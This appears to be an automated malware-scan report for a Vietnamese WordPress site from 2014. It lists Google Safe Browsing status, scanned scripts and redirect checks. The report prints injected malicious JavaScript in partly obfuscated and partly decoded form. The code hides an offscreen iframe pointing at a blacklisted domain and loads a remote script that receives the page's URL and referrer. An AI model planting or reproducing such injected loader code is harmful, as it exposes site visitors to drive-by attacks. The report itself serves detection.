Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=khuvuondiadang.vn
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://khuvuondiadang.vn/ | 200 OK Content-Length: 60148 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: shop-corp24.com var _10O='=oQKpkyJ8dCK0lGbwNnLngXZk5Wa8pnQzwnMk92afNna4IDfoRHZpdHf0h2ZpVGa8hHcwgTM3IDfxE0M8RWS5JEduVWblxWR0V2Z8RjMwJ3bjxXZwF2YzVmb1xHcvRnQzwHZhVGa8VWbh50ZhRVeCNHduVWblxWR0V2Z852bpRXaz9Gc3IDfyVmcyVmZlJHfsJXd8hHcwAjM3IDflRXdilmc0RXQ0V2c8VGdpJ3d8RnZlxmQzwXawFWeyVWdxpGfu9Wa0Nmb1ZWQww3YyNHdldGfr9GfnFGV2lGZ4IDfvZmbpxnZlJHflNHbhZGMywXbvNGfklGfnFGV2lGZBBDf2lGZ3IDf0BXayN2cDNDfmlWRzwHduVWb1N2bkR0M8RWYvxmbvdjM8VGd1x2bzJWYBNDfnFGV2lGZwIDf05WZ2VEajFGd0FGf39GZul2d4I ...[4099 bytes skipped]... Decoded script: ...[13216 bytes skipped]... 20false%29%3B%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20window.attachEvent%28%27onload%27%2C%20showBrowVer%29%3B%0A%20%20%20%20%7D%0A%7D%0Afunction%20showBrowVer%28%29%0A%7B%0Avar%20divTag%3Ddocument.createElement%28%27div%27%29%3B%20%20%20%20%20%20%20%20%0AdivTag.id%3D%27dt%27%3B%0Adocument.body.appendChild%28divTag%29%3B%0Avar%20js_kod2%20%3D%20document.createElement%28%27iframe%27%29%3B%0Ajs_kod2.src%20%3D%20%27http%3A//shop-corp24.com%27%3B%0Ajs_kod2.width%20%3D%20%27180px%27%3B%0Ajs_kod2.height%20%3D%20%27200px%27%3B%0Ajs_kod2.setAttribute%28%27style%27%2C%27position%3Aabsolute%3Bleft%3A-1000px%3Btop%3A-1000px%3Bz-index%3A1%3B%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _1ll=document.createElement('script');_1ll.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _1OO=do ...[1393 bytes skipped]... | ||
https://apis.google.com/js/plusone.js | 200 OK Content-Length: 12600 Content-Type: application/javascript | clean |
http://khuvuondiadang.vn/wp-includes/js/jquery/jquery.js?ver=1.8.3 | 200 OK Content-Length: 93661 Content-Type: text/javascript | clean |
http://khuvuondiadang.vn/wp-content/themes/TechPro/lib/js/superfish.js?ver=3.5.2 | 200 OK Content-Length: 3835 Content-Type: text/javascript | clean |
http://khuvuondiadang.vn/wp-content/plugins/gd-star-rating/js/gdsr.js?ver=1.9.22 | 200 OK Content-Length: 8200 Content-Type: text/javascript | clean |
http://khuvuondiadang.vn/wp-includes/js/comment-reply.min.js?ver=3.5.2 | 200 OK Content-Length: 786 Content-Type: text/javascript | clean |
http://widgets.givealink.com/buttons.js | 404 Not Found Content-Length: 208 Content-Type: text/html | clean |
http://widgets.givealink.com/test404page.js | 404 Not Found Content-Length: 212 Content-Type: text/html | clean |
http://khuvuondiadang.vn/wp-content/themes/TechPro/includes/featuredposts/scripts/jquery.cycle.all.js | 200 OK Content-Length: 52829 Content-Type: text/javascript | clean |
http://khuvuondiadang.vn/wp-includes/js/hoverIntent.min.js?ver=r6 | 200 OK Content-Length: 996 Content-Type: text/javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: khuvuondiadang.vn
Result:
HTTP/1.1 200 OK
Cache-Control: public
Connection: close
Date: Sat, 11 Oct 2014 19:41:20 GMT
Server: nginx/1.6.0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://khuvuondiadang.vn/xmlrpc.php
X-Powered-By: PHP/5.3.27
GET / HTTP/1.1
Host: khuvuondiadang.vn
Result:
HTTP/1.1 200 OK
Cache-Control: public
Connection: close
Date: Sat, 11 Oct 2014 19:41:20 GMT
Server: nginx/1.6.0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://khuvuondiadang.vn/xmlrpc.php
X-Powered-By: PHP/5.3.27
Second query (visit from search engine):
GET / HTTP/1.1
Host: khuvuondiadang.vn
Referer: http://www.google.com/search?q=khuvuondiadang.vn
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: khuvuondiadang.vn
Referer: http://www.google.com/search?q=khuvuondiadang.vn
Result:
The result is similar to the first query. There are no suspicious redirects found.